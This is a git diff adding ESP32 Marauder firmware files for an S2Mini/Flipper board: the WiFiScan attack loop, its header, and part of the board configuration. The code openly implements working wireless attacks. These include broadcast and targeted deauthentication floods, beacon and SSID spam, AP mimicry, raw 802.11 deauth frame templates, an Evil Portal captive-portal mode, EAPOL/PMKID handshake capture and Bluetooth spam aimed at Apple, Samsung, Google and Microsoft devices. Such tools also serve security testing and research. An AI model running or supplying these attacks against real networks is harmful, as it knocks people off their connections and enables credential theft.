+ for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
+ displayString2.concat(" ");
+ #ifdef HAS_SCREEN
+ display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
+ display_obj.showCenterText(displayString2, TFT_HEIGHT / 2);
+ display_obj.showCenterText(displayString, TFT_HEIGHT / 2);
+ #endif
+ packets_sent = 0;
+ }
+ }
+ else if (currentScanMode == WIFI_ATTACK_DEAUTH) {
+ for (int i = 0; i < 55; i++)
+ this->sendDeauthAttack(currentTime, this->dst_mac);
+
+ if (currentTime - initTime >= 1000) {
+ initTime = millis();
+ String displayString = "";
+ String displayString2 = "";
+ displayString.concat(text18);
+ displayString.concat(packets_sent);
+ for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
+ displayString2.concat(" ");
+ #ifdef HAS_SCREEN
+ display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
+ display_obj.showCenterText(displayString2, TFT_HEIGHT / 2);
+ display_obj.showCenterText(displayString, TFT_HEIGHT / 2);
+ #endif
+ packets_sent = 0;
+ }
+ }
+ else if (currentScanMode == WIFI_ATTACK_DEAUTH_MANUAL) {
+ for (int i = 0; i < 55; i++)
+ this->sendDeauthFrame(this->src_mac, this->set_channel, this->dst_mac);
+
+ if (currentTime - initTime >= 1000) {
+ initTime = millis();
+ String displayString = "";
+ String displayString2 = "";
+ displayString.concat(text18);
+ displayString.concat(packets_sent);
+ for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
+ displayString2.concat(" ");
+ #ifdef HAS_SCREEN
+ display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
+ display_obj.showCenterText(displayString2, TFT_HEIGHT / 2);
+ display_obj.showCenterText(displayString, TFT_HEIGHT / 2);
+ #endif
+ packets_sent = 0;
+ }
+ }
+ else if (currentScanMode == WIFI_ATTACK_DEAUTH_TARGETED) {
+ // Loop through each AP
+ for (int x = 0; x < access_points->size(); x++) {
+ // Only get selected APs
+ if (access_points->get(x).selected) {
+ AccessPoint cur_ap = access_points->get(x);
+ // Loop through each AP's Station
+ for (int i = 0; i < cur_ap.stations->size(); i++) {
+ // Only get selected Stations
+ if (stations->get(cur_ap.stations->get(i)).selected) {
+ Station cur_sta = stations->get(cur_ap.stations->get(i));
+
+ // Send deauths for each selected AP's selected Station
+ for (int y = 0; y < 25; y++)
+ this->sendDeauthFrame(cur_ap.bssid, cur_ap.channel, cur_sta.mac);
+
+ // Display packets sent on screen
+ if (currentTime - initTime >= 1000) {
+ initTime = millis();
+ String displayString = "";
+ String displayString2 = "";
+ displayString.concat(text18);
+ displayString.concat(packets_sent);
+ for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
+ displayString2.concat(" ");
+ #ifdef HAS_SCREEN
+ display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
+ display_obj.showCenterText(displayString2, TFT_HEIGHT / 2);
+ display_obj.showCenterText(displayString, TFT_HEIGHT / 2);
+ #endif
+ packets_sent = 0;
+ }
+ }
+ }
+ }
+ }
+ }
+ else if ((currentScanMode == WIFI_ATTACK_MIMIC)) {
+ // Need this for loop because getTouch causes ~10ms delay
+ // which makes beacon spam less effective
+ for (int i = 0; i < access_points->size(); i++) {
+ if (access_points->get(i).selected)
+ this->broadcastCustomBeacon(currentTime, ssid{access_points->get(i).essid, random(1, 12), {random(256),
+ random(256),
+ random(256),
+ random(256),
+ random(256),
+ random(256)}});
+ }
+
+
+ if (currentTime - initTime >= 1000)
+ {
+ initTime = millis();
+ //Serial.print("packets/sec: ");
+ //Serial.println(packets_sent);
+ String displayString = "";
+ String displayString2 = "";
+ displayString.concat(text18);
+ displayString.concat(packets_sent);
+ for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
+ displayString2.concat(" ");
+ #ifdef HAS_SCREEN
+ display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
+ display_obj.showCenterText(displayString2, TFT_HEIGHT / 2);
+ display_obj.showCenterText(displayString, TFT_HEIGHT / 2);
+ #endif
+ packets_sent = 0;
+ }
+ }
+ else if ((currentScanMode == WIFI_ATTACK_BEACON_SPAM))
+ {
+ // Need this for loop because getTouch causes ~10ms delay
+ // which makes beacon spam less effective
+ for (int i = 0; i < 55; i++)
+ broadcastRandomSSID(currentTime);
+
+ if (currentTime - initTime >= 1000)
+ {
+ initTime = millis();
+ //Serial.print("packets/sec: ");
+ //Serial.println(packets_sent);
+ String displayString = "";
+ String displayString2 = "";
+ displayString.concat(text18);
+ displayString.concat(packets_sent);
+ for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
+ displayString2.concat(" ");
+ #ifdef HAS_SCREEN
+ display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
+ display_obj.showCenterText(displayString2, TFT_HEIGHT / 2);
+ display_obj.showCenterText(displayString, TFT_HEIGHT / 2);
+ #endif
+ packets_sent = 0;
+ }
+ }
+ else if ((currentScanMode == WIFI_ATTACK_BEACON_LIST)) {
+ for (int i = 0; i < ssids->size(); i++)
+ this->broadcastCustomBeacon(currentTime, ssids->get(i));
+
+ if (currentTime - initTime >= 1000)
+ {
+ initTime = millis();
+ String displayString = "";
+ String displayString2 = "";
+ displayString.concat(text18);
+ displayString.concat(packets_sent);
+ for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
+ displayString2.concat(" ");
+ #ifdef HAS_SCREEN
+ display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
+ display_obj.showCenterText(displayString2, TFT_HEIGHT / 2);
+ display_obj.showCenterText(displayString, TFT_HEIGHT / 2);
+ #endif
+ packets_sent = 0;
+ }
+ }
+ else if ((currentScanMode == WIFI_ATTACK_AP_SPAM)) {
+ for (int i = 0; i < access_points->size(); i++) {
+ if (access_points->get(i).selected)
+ this->broadcastCustomBeacon(currentTime, access_points->get(i));
+ }
+
+ if (currentTime - initTime >= 1000) {
+ initTime = millis();
+ packets_sent = 0;
+ }
+ }
+ else if ((currentScanMode == WIFI_ATTACK_RICK_ROLL))
+ {
+ // Need this for loop because getTouch causes ~10ms delay
+ // which makes beacon spam less effective
+ for (int i = 0; i < 7; i++)
+ {
+ for (int x = 0; x < (sizeof(rick_roll)/sizeof(char *)); x++)
+ {
+ broadcastSetSSID(currentTime, rick_roll[x]);
+ }
+ }
+
+ if (currentTime - initTime >= 1000)
+ {
+ initTime = millis();
+ //Serial.print("packets/sec: ");
+ //Serial.println(packets_sent);
+ String displayString = "";
+ String displayString2 = "";
+ displayString.concat(text18);
+ displayString.concat(packets_sent);
+ for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
+ displayString2.concat(" ");
+ #ifdef HAS_SCREEN
+ display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
+ display_obj.showCenterText(displayString2, TFT_HEIGHT / 2);
+ display_obj.showCenterText(displayString, TFT_HEIGHT / 2);
+ #endif
+ packets_sent = 0;
+ }
+ }
+ #ifdef HAS_GPS
+ else if ((currentScanMode == WIFI_SCAN_OFF))
+ if(gps_obj.queue_enabled())
+ gps_obj.disable_queue();
+ #endif
+}
diff --git a/S2Mini_esp32_v1.0.0_marauder/WiFiScan.h b/S2Mini_esp32_v1.0.0_marauder/WiFiScan.h
new file mode 100644
index 0000000..5b5ec60
--- /dev/null
+++ b/S2Mini_esp32_v1.0.0_marauder/WiFiScan.h
@@ -0,0 +1,472 @@
+#pragma once
+
+#ifndef WiFiScan_h
+#define WiFiScan_h
+
+#include "configs.h"
+
+#include
+#include
+
+#ifdef HAS_BT
+ #include
+#endif
+
+#include
+#include "EvilPortal.h"
+#include
+#include "esp_wifi.h"
+#include "esp_wifi_types.h"
+#ifdef HAS_BT
+ #include "esp_bt.h"
+#endif
+#ifdef HAS_SCREEN
+ #include "Display.h"
+#endif
+#ifdef HAS_SD
+ #include "SDInterface.h"
+#endif
+#include "Buffer.h"
+#ifdef HAS_BATTERY
+ #include "BatteryInterface.h"
+#endif
+#ifdef HAS_GPS
+ #include "GpsInterface.h"
+#endif
+#include "settings.h"
+#include "Assets.h"
+#ifdef MARAUDER_FLIPPER
+ #include "flipperLED.h"
+#elif defined(XIAO_ESP32_S3)
+ #include "xiaoLED.h"
+#elif defined(MARAUDER_M5STICKC)
+ #include "stickcLED.h"
+#else
+ #include "LedInterface.h"
+#endif
+
+#define bad_list_length 3
+
+#define OTA_UPDATE 100
+#define SHOW_INFO 101
+#define ESP_UPDATE 102
+#define WIFI_SCAN_OFF 0
+#define WIFI_SCAN_PROBE 1
+#define WIFI_SCAN_AP 2
+#define WIFI_SCAN_PWN 3
+#define WIFI_SCAN_EAPOL 4
+#define WIFI_SCAN_DEAUTH 5
+#define WIFI_SCAN_ALL 6
+#define WIFI_PACKET_MONITOR 7
+#define WIFI_ATTACK_BEACON_SPAM 8
+#define WIFI_ATTACK_RICK_ROLL 9
+#define BT_SCAN_ALL 10
+#define BT_SCAN_SKIMMERS 11
+#define WIFI_SCAN_ESPRESSIF 12
+#define LV_JOIN_WIFI 13
+#define LV_ADD_SSID 14
+#define WIFI_ATTACK_BEACON_LIST 15
+#define WIFI_SCAN_TARGET_AP 16
+#define LV_SELECT_AP 17
+#define WIFI_ATTACK_AUTH 18
+#define WIFI_ATTACK_MIMIC 19
+#define WIFI_ATTACK_DEAUTH 20
+#define WIFI_ATTACK_AP_SPAM 21
+#define WIFI_SCAN_TARGET_AP_FULL 22
+#define WIFI_SCAN_ACTIVE_EAPOL 23
+#define WIFI_ATTACK_DEAUTH_MANUAL 24
+#define WIFI_SCAN_RAW_CAPTURE 25
+#define WIFI_SCAN_STATION 26
+#define WIFI_ATTACK_DEAUTH_TARGETED 27
+#define WIFI_SCAN_ACTIVE_LIST_EAPOL 28
+#define WIFI_SCAN_SIG_STREN 29
+#define WIFI_SCAN_EVIL_PORTAL 30
+#define WIFI_SCAN_GPS_DATA 31
+#define WIFI_SCAN_WAR_DRIVE 32
+#define WIFI_SCAN_STATION_WAR_DRIVE 33
+#define BT_SCAN_WAR_DRIVE 34
+#define BT_SCAN_WAR_DRIVE_CONT 35
+#define BT_ATTACK_SOUR_APPLE 36
+#define BT_ATTACK_SWIFTPAIR_SPAM 37
+#define BT_ATTACK_SPAM_ALL 38
+#define BT_ATTACK_SAMSUNG_SPAM 39
+#define WIFI_SCAN_GPS_NMEA 40
+#define BT_ATTACK_GOOGLE_SPAM 41
+
+#define GRAPH_REFRESH 100
+
+#define MAX_CHANNEL 14
+
+extern EvilPortal evil_portal_obj;
+
+#ifdef HAS_SCREEN
+ extern Display display_obj;
+#endif
+#ifdef HAS_SD
+ extern SDInterface sd_obj;
+#endif
+#ifdef HAS_GPS
+ extern GpsInterface gps_obj;
+#endif
+extern Buffer buffer_obj;
+#ifdef HAS_BATTERY
+ extern BatteryInterface battery_obj;
+#endif
+extern Settings settings_obj;
+#ifdef MARAUDER_FLIPPER
+ extern flipperLED flipper_led;
+#elif defined(XIAO_ESP32_S3)
+ extern xiaoLED xiao_led;
+#elif defined(MARAUDER_M5STICKC)
+ extern stickcLED stickc_led;
+#else
+ extern LedInterface led_obj;
+#endif
+
+esp_err_t esp_wifi_80211_tx(wifi_interface_t ifx, const void *buffer, int len, bool en_sys_seq);
+
+/*struct ssid {
+ String essid;
+ uint8_t channel;
+ int bssid[6];
+ bool selected;
+};*/
+
+/*struct AccessPoint {
+ String essid;
+ int channel;
+ int bssid[6];
+ bool selected;
+ LinkedList* beacon;
+ int rssi;
+ LinkedList* stations;
+};*/
+
+
+struct mac_addr {
+ unsigned char bytes[6];
+};
+
+struct Station {
+ uint8_t mac[6];
+ bool selected;
+};
+
+class WiFiScan
+{
+ private:
+ // Wardriver thanks to https://github.com/JosephHewitt
+ struct mac_addr mac_history[mac_history_len];
+
+ // Settings
+ uint mac_history_cursor = 0;
+ uint8_t channel_hop_delay = 1;
+ bool force_pmkid = false;
+ bool force_probe = false;
+ bool save_pcap = false;
+
+ int x_pos; //position along the graph x axis
+ float y_pos_x; //current graph y axis position of X value
+ float y_pos_x_old = 120; //old y axis position of X value
+ float y_pos_y; //current graph y axis position of Y value
+ float y_pos_y_old = 120; //old y axis position of Y value
+ float y_pos_z; //current graph y axis position of Z value
+ float y_pos_z_old = 120; //old y axis position of Z value
+ int midway = 0;
+ byte x_scale = 1; //scale of graph x axis, controlled by touchscreen buttons
+ byte y_scale = 1;
+
+ bool do_break = false;
+
+ bool wsl_bypass_enabled = false;
+
+ //int num_beacon = 0; // GREEN
+ //int num_probe = 0; // BLUE
+ //int num_deauth = 0; // RED
+
+ uint32_t initTime = 0;
+ bool run_setup = true;
+ void initWiFi(uint8_t scan_mode);
+ uint8_t bluetoothScanTime = 5;
+ int packets_sent = 0;
+ const wifi_promiscuous_filter_t filt = {.filter_mask=WIFI_PROMIS_FILTER_MASK_MGMT | WIFI_PROMIS_FILTER_MASK_DATA};
+ #ifdef HAS_BT
+ NimBLEScan* pBLEScan;
+ #endif
+
+ //String connected_network = "";
+ //const String alfa = "1234567890qwertyuiopasdfghjkklzxcvbnm QWERTYUIOPASDFGHJKLZXCVBNM_";
+
+ const char* rick_roll[8] = {
+ "01 Never gonna give you up",
+ "02 Never gonna let you down",
+ "03 Never gonna run around",
+ "04 and desert you",
+ "05 Never gonna make you cry",
+ "06 Never gonna say goodbye",
+ "07 Never gonna tell a lie",
+ "08 and hurt you"
+ };
+
+ char* prefix = "G";
+
+ typedef struct
+ {
+ int16_t fctl;
+ int16_t duration;
+ uint8_t da;
+ uint8_t sa;
+ uint8_t bssid;
+ int16_t seqctl;
+ unsigned char payload[];
+ } __attribute__((packed)) WifiMgmtHdr;
+
+ typedef struct {
+ uint8_t payload[0];
+ WifiMgmtHdr hdr;
+ } wifi_ieee80211_packet_t;
+
+ // barebones packet
+ uint8_t packet[128] = { 0x80, 0x00, 0x00, 0x00, //Frame Control, Duration
+ /*4*/ 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, //Destination address
+ /*10*/ 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, //Source address - overwritten later
+ /*16*/ 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, //BSSID - overwritten to the same as the source address
+ /*22*/ 0xc0, 0x6c, //Seq-ctl
+ /*24*/ 0x83, 0x51, 0xf7, 0x8f, 0x0f, 0x00, 0x00, 0x00, //timestamp - the number of microseconds the AP has been active
+ /*32*/ 0x64, 0x00, //Beacon interval
+ /*34*/ 0x01, 0x04, //Capability info
+ /* SSID */
+ /*36*/ 0x00
+ };
+
+ uint8_t prob_req_packet[128] = {0x40, 0x00, 0x00, 0x00,
+ 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, // Destination
+ 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, // Source
+ 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, // Dest
+ 0x01, 0x00, // Sequence
+ 0x00, // SSID Parameter
+ 0x00, // SSID Length
+ /* SSID */
+ };
+
+ uint8_t deauth_frame_default[26] = {
+ 0xc0, 0x00, 0x3a, 0x01,
+ 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0xf0, 0xff, 0x02, 0x00
+ };
+
+ enum EBLEPayloadType
+ {
+ Microsoft,
+ Apple,
+ Samsung,
+ Google
+ };
+
+ #ifdef HAS_BT
+
+ struct BLEData
+ {
+ NimBLEAdvertisementData AdvData;
+ NimBLEAdvertisementData ScanData;
+ };
+
+ struct WatchModel
+ {
+ uint8_t value;
+ const char *name;
+ };
+
+ WatchModel* watch_models = nullptr;
+
+ static void scanCompleteCB(BLEScanResults scanResults);
+ NimBLEAdvertisementData GetUniversalAdvertisementData(EBLEPayloadType type);
+ #endif
+
+ bool seen_mac(unsigned char* mac);
+ bool mac_cmp(struct mac_addr addr1, struct mac_addr addr2);
+ void save_mac(unsigned char* mac);
+ void clearMacHistory();
+ void executeWarDrive();
+ void executeSourApple();
+ void executeSwiftpairSpam(EBLEPayloadType type);
+ void startWardriverWiFi();
+ void generateRandomMac(uint8_t* mac);
+
+ void startWiFiAttacks(uint8_t scan_mode, uint16_t color, String title_string);
+
+ void packetMonitorMain(uint32_t currentTime);
+ void eapolMonitorMain(uint32_t currentTime);
+ void updateMidway();
+ void tftDrawXScalButtons();
+ void tftDrawYScaleButtons();
+ void tftDrawChannelScaleButtons();
+ void tftDrawColorKey();
+ void tftDrawGraphObjects();
+ void sendProbeAttack(uint32_t currentTime);
+ void sendDeauthAttack(uint32_t currentTime, String dst_mac_str = "ff:ff:ff:ff:ff:ff");
+ void sendDeauthFrame(uint8_t bssid[6], int channel, String dst_mac_str = "ff:ff:ff:ff:ff:ff");
+ void sendDeauthFrame(uint8_t bssid[6], int channel, uint8_t mac[6]);
+ void broadcastRandomSSID(uint32_t currentTime);
+ void broadcastCustomBeacon(uint32_t current_time, ssid custom_ssid);
+ void broadcastCustomBeacon(uint32_t current_time, AccessPoint custom_ssid);
+ void broadcastSetSSID(uint32_t current_time, const char* ESSID);
+ void RunAPScan(uint8_t scan_mode, uint16_t color);
+ void RunGPSInfo();
+ void RunGPSNmea();
+ void RunMimicFlood(uint8_t scan_mode, uint16_t color);
+ void RunPwnScan(uint8_t scan_mode, uint16_t color);
+ void RunBeaconScan(uint8_t scan_mode, uint16_t color);
+ void RunRawScan(uint8_t scan_mode, uint16_t color);
+ void RunStationScan(uint8_t scan_mode, uint16_t color);
+ void RunDeauthScan(uint8_t scan_mode, uint16_t color);
+ void RunEapolScan(uint8_t scan_mode, uint16_t color);
+ void RunProbeScan(uint8_t scan_mode, uint16_t color);
+ void RunPacketMonitor(uint8_t scan_mode, uint16_t color);
+ void RunBluetoothScan(uint8_t scan_mode, uint16_t color);
+ void RunSourApple(uint8_t scan_mode, uint16_t color);
+ void RunSwiftpairSpam(uint8_t scan_mode, uint16_t color);
+ void RunLvJoinWiFi(uint8_t scan_mode, uint16_t color);
+ void RunEvilPortal(uint8_t scan_mode, uint16_t color);
+ bool checkMem();
+ void parseBSSID(const char* bssidStr, uint8_t* bssid);
+
+
+ public:
+ WiFiScan();
+
+ //AccessPoint ap_list;
+
+ //LinkedList* ssids;
+
+ uint8_t set_channel = 1;
+
+ uint8_t old_channel = 0;
+
+ bool orient_display = false;
+ bool wifi_initialized = false;
+ bool ble_initialized = false;
+
+ String free_ram = "";
+ String old_free_ram = "";
+ String connected_network = "";
+
+ String dst_mac = "ff:ff:ff:ff:ff:ff";
+ byte src_mac[6] = {};
+
+ String current_mini_kb_ssid = "";
+
+ const String alfa = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ 0123456789-=[];',./`\\_+{}:\"<>?~|!@#$%^&*()";
+
+ wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT();
+ wifi_config_t ap_config;
+
+ String security_int_to_string(int security_type);
+ char* stringToChar(String string);
+ void RunSetup();
+ int clearSSIDs();
+ int clearAPs();
+ int clearStations();
+ bool addSSID(String essid);
+ int generateSSIDs(int count = 20);
+ bool shutdownWiFi();
+ bool shutdownBLE();
+ bool scanning();
+ //void joinWiFi(String ssid, String password);
+ String getStaMAC();
+ String getApMAC();
+ String freeRAM();
+ void changeChannel();
+ void changeChannel(int chan);
+ void RunInfo();
+ //void RunShutdownBLE();
+ void RunGenerateSSIDs(int count = 20);
+ void RunClearSSIDs();
+ void RunClearAPs();
+ void RunClearStations();
+ void RunSaveSSIDList(bool save_as = true);
+ void RunLoadSSIDList();
+ void RunSaveAPList(bool save_as = true);
+ void RunLoadAPList();
+ void channelHop();
+ uint8_t currentScanMode = 0;
+ void main(uint32_t currentTime);
+ void StartScan(uint8_t scan_mode, uint16_t color = 0);
+ void StopScan(uint8_t scan_mode);
+ const char* generateRandomName();
+
+ bool save_serial = false;
+ void startPcap(String file_name);
+ void startLog(String file_name);
+ String macToString(const Station& station);
+
+ static void getMAC(char *addr, uint8_t* data, uint16_t offset);
+ static void pwnSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type);
+ static void beaconSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type);
+ static void rawSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type);
+ static void stationSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type);
+ static void apSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type);
+ static void apSnifferCallbackFull(void* buf, wifi_promiscuous_pkt_type_t type);
+ static void deauthSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type);
+ static void probeSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type);
+ static void beaconListSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type);
+ static void activeEapolSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type);
+ static void eapolSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type);
+ static void wifiSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type);
+
+ /*#ifdef HAS_BT
+ enum EBLEPayloadType
+ {
+ Microsoft,
+ Apple,
+ Samsung,
+ Google
+ };
+
+ struct BLEData
+ {
+ NimBLEAdvertisementData AdvData;
+ NimBLEAdvertisementData ScanData;
+ };
+
+ struct WatchModel
+ {
+ uint8_t value;
+ const char *name;
+ };
+
+ WatchModel* watch_models = nullptr;
+
+ const WatchModel watch_models[] = {
+ {0x1A, "Fallback Watch"},
+ {0x01, "White Watch4 Classic 44m"},
+ {0x02, "Black Watch4 Classic 40m"},
+ {0x03, "White Watch4 Classic 40m"},
+ {0x04, "Black Watch4 44mm"},
+ {0x05, "Silver Watch4 44mm"},
+ {0x06, "Green Watch4 44mm"},
+ {0x07, "Black Watch4 40mm"},
+ {0x08, "White Watch4 40mm"},
+ {0x09, "Gold Watch4 40mm"},
+ {0x0A, "French Watch4"},
+ {0x0B, "French Watch4 Classic"},
+ {0x0C, "Fox Watch5 44mm"},
+ {0x11, "Black Watch5 44mm"},
+ {0x12, "Sapphire Watch5 44mm"},
+ {0x13, "Purpleish Watch5 40mm"},
+ {0x14, "Gold Watch5 40mm"},
+ {0x15, "Black Watch5 Pro 45mm"},
+ {0x16, "Gray Watch5 Pro 45mm"},
+ {0x17, "White Watch5 44mm"},
+ {0x18, "White & Black Watch5"},
+ {0x1B, "Black Watch6 Pink 40mm"},
+ {0x1C, "Gold Watch6 Gold 40mm"},
+ {0x1D, "Silver Watch6 Cyan 44mm"},
+ {0x1E, "Black Watch6 Classic 43m"},
+ {0x20, "Green Watch6 Classic 43m"},
+ };
+ #endif*/
+};
+#endif
diff --git a/S2Mini_esp32_v1.0.0_marauder/configs.h b/S2Mini_esp32_v1.0.0_marauder/configs.h
new file mode 100644
index 0000000..d636fa3
--- /dev/null
+++ b/S2Mini_esp32_v1.0.0_marauder/configs.h
@@ -0,0 +1,1030 @@
+#pragma once
+
+#ifndef configs_h
+
+ #define configs_h
+
+ #define POLISH_POTATO
+
+ //// BOARD TARGETS
+ //#define MARAUDER_M5STICKC
+ //#define MARAUDER_MINI
+ //#define MARAUDER_V4
+ //#define MARAUDER_V6
+ //#define MARAUDER_V6_1
+ //#define MARAUDER_KIT
+ //#define GENERIC_ESP32
+ #define MARAUDER_FLIPPER
+ //#define ESP32_LDDB
+ //#define MARAUDER_DEV_BOARD_PRO
+ //#define XIAO_ESP32_S3
+ //#define MARAUDER_REV_FEATHER
+ //// END BOARD TARGETS
+
+ #define MARAUDER_VERSION "v1.0.0"
+
+ //// HARDWARE NAMES
+ #ifdef MARAUDER_M5STICKC
+ #define HARDWARE_NAME "M5Stick-C Plus"
+ #elif defined(MARAUDER_MINI)
+ #define HARDWARE_NAME "Marauder Mini"
+ #elif defined(MARAUDER_REV_FEATHER)
+ #define HARDWARE_NAME "Adafruit Feather ESP32-S2 Reverse TFT"
+ #elif defined(MARAUDER_V4)
+ #define HARDWARE_NAME "Marauder v4"
+ #elif defined(MARAUDER_V6)
+ #define HARDWARE_NAME "Marauder v6"
+ #elif defined(MARAUDER_V6_1)
+ #define HARDWARE_NAME "Marauder v6.1"
+ #elif defined(MARAUDER_KIT)
+ #define HARDWARE_NAME "Marauder Kit"
+ #elif defined(MARAUDER_FLIPPER)
+ #define HARDWARE_NAME "F0 S2Mini"
+ #elif defined(ESP32_LDDB)
+ #define HARDWARE_NAME "ESP32 LDDB"
+ #elif defined(MARAUDER_DEV_BOARD_PRO)
+ #define HARDWARE_NAME "Flipper Zero Dev Board Pro"
+ #elif defined(XIAO_ESP32_S3)
+ #define HARDWARE_NAME "XIAO ESP32 S3"
+ #else
+ #define HARDWARE_NAME "ESP32"
+ #endif
+
+ //// END HARDWARE NAMES
+
+ //// BOARD FEATURES
+ #ifdef MARAUDER_M5STICKC
+ //#define FLIPPER_ZERO_HAT
+ #define HAS_BATTERY
+ #define HAS_BT
+ #define HAS_BUTTONS
+ //#define HAS_NEOPIXEL_LED
+ #define HAS_PWR_MGMT
+ #define HAS_SCREEN
+ #define HAS_SD
+ #define USE_SD
+ #define HAS_TEMP_SENSOR
+ #define HAS_GPS
+ #endif
+
+ #ifdef MARAUDER_MINI
+ //#define FLIPPER_ZERO_HAT
+ //#define HAS_BATTERY
+ #define HAS_BT
+ #define HAS_BUTTONS
+ #define HAS_NEOPIXEL_LED
+ //#define HAS_PWR_MGMT
+ #define HAS_SCREEN
+ #define HAS_SD
+ #define USE_SD
+ #define HAS_TEMP_SENSOR
+ #define HAS_GPS
+ #endif
+
+ #ifdef MARAUDER_REV_FEATHER
+ //#define FLIPPER_ZERO_HAT
+ //#define HAS_BATTERY
+ //#define HAS_BT
+ #define HAS_BUTTONS
+ #define HAS_NEOPIXEL_LED
+ //#define HAS_PWR_MGMT
+ #define HAS_SCREEN
+ #define HAS_SD
+ #define USE_SD
+ #define HAS_TEMP_SENSOR
+ #define HAS_GPS
+ #endif
+
+ #ifdef MARAUDER_V4
+ //#define FLIPPER_ZERO_HAT
+ #define HAS_BATTERY
+ #define HAS_BT
+ //#define HAS_BUTTONS
+ #define HAS_NEOPIXEL_LED
+ //#define HAS_PWR_MGMT
+ #define HAS_SCREEN
+ #define HAS_SD
+ #define USE_SD
+ #define HAS_TEMP_SENSOR
+ #define HAS_GPS
+ #endif
+
+ #if defined(MARAUDER_V6) || defined(MARAUDER_V6_1)
+ //#define FLIPPER_ZERO_HAT
+ #define HAS_BATTERY
+ #define HAS_BT
+ #define HAS_BT_REMOTE
+ #define HAS_BUTTONS
+ #define HAS_NEOPIXEL_LED
+ //#define HAS_PWR_MGMT
+ #define HAS_SCREEN
+ #define HAS_SD
+ #define USE_SD
+ #define HAS_TEMP_SENSOR
+ #define HAS_GPS
+ #endif
+
+ #ifdef MARAUDER_KIT
+ //#define FLIPPER_ZERO_HAT
+ #define HAS_BATTERY
+ #define HAS_BT
+ //#define HAS_BUTTONS
+ #define HAS_NEOPIXEL_LED
+ //#define HAS_PWR_MGMT
+ #define HAS_SCREEN
+ #define HAS_SD
+ #define USE_SD
+ #define HAS_TEMP_SENSOR
+ #define HAS_GPS
+ #endif
+
+ #ifdef GENERIC_ESP32
+ //#define FLIPPER_ZERO_HAT
+ //#define HAS_BATTERY
+ #define HAS_BT
+ //#define HAS_BUTTONS
+ //#define HAS_NEOPIXEL_LED
+ //#define HAS_PWR_MGMT
+ //#define HAS_SCREEN
+ //#define HAS_SD
+ //#define HAS_TEMP_SENSOR
+ //#define HAS_GPS
+ #endif
+
+ #ifdef MARAUDER_FLIPPER
+ //#define FLIPPER_ZERO_HAT
+ //#define HAS_BATTERY
+ //#define HAS_BT
+ //#define HAS_BUTTONS
+ //#define HAS_NEOPIXEL_LED
+ //#define HAS_PWR_MGMT
+ //#define HAS_SCREEN
+ #define HAS_GPS
+ #define HAS_SD
+ #define USE_SD
+ //#define HAS_TEMP_SENSOR
+ #endif
+
+ #ifdef ESP32_LDDB
+ //#define FLIPPER_ZERO_HAT
+ //#define HAS_BATTERY
+ #define HAS_BT
+ //#define HAS_BUTTONS
+ #define HAS_NEOPIXEL_LED
+ //#define HAS_PWR_MGMT
+ //#define HAS_SCREEN
+ #define HAS_SD
+ #define USE_SD
+ //#define HAS_TEMP_SENSOR
+ //#define HAS_GPS
+ #endif
+
+ #ifdef MARAUDER_DEV_BOARD_PRO
+ //#define FLIPPER_ZERO_HAT
+ //#define HAS_BATTERY
+ #define HAS_BT
+ //#define HAS_BUTTONS
+ #define HAS_NEOPIXEL_LED
+ //#define HAS_PWR_MGMT
+ //#define HAS_SCREEN
+ #define HAS_SD
+ #define USE_SD
+ //#define HAS_TEMP_SENSOR
+ #define HAS_GPS
+ #endif
+
+ #ifdef XIAO_ESP32_S3
+ #define FLIPPER_ZERO_HAT
+ //#define HAS_BATTERY
+ #define HAS_BT
+ //#define HAS_BUTTONS
+ //#define HAS_NEOPIXEL_LED
+ //#define HAS_PWR_MGMT
+ //#define HAS_SCREEN
+ //#define HAS_SD
+ //#define HAS_TEMP_SENSOR
+ //#define HAS_GPS
+ #endif
+ //// END BOARD FEATURES
+
+ //// POWER MANAGEMENT
+ #ifdef HAS_PWR_MGMT
+ #ifdef MARAUDER_M5STICKC
+ #include "AXP192.h"
+ #endif
+ #endif
+ //// END POWER MANAGEMENT
+
+ //// BUTTON DEFINITIONS
+ #ifdef HAS_BUTTONS
+
+ #ifdef MARAUDER_REV_FEATHER
+ #define L_BTN -1
+ #define C_BTN 1
+ #define U_BTN 0
+ #define R_BTN -1
+ #define D_BTN 2
+
+ //#define HAS_L
+ //#define HAS_R
+ #define HAS_U
+ #define HAS_D
+ #define HAS_C
+
+ #define L_PULL true
+ #define C_PULL false
+ #define U_PULL true
+ #define R_PULL true
+ #define D_PULL false
+ #endif
+
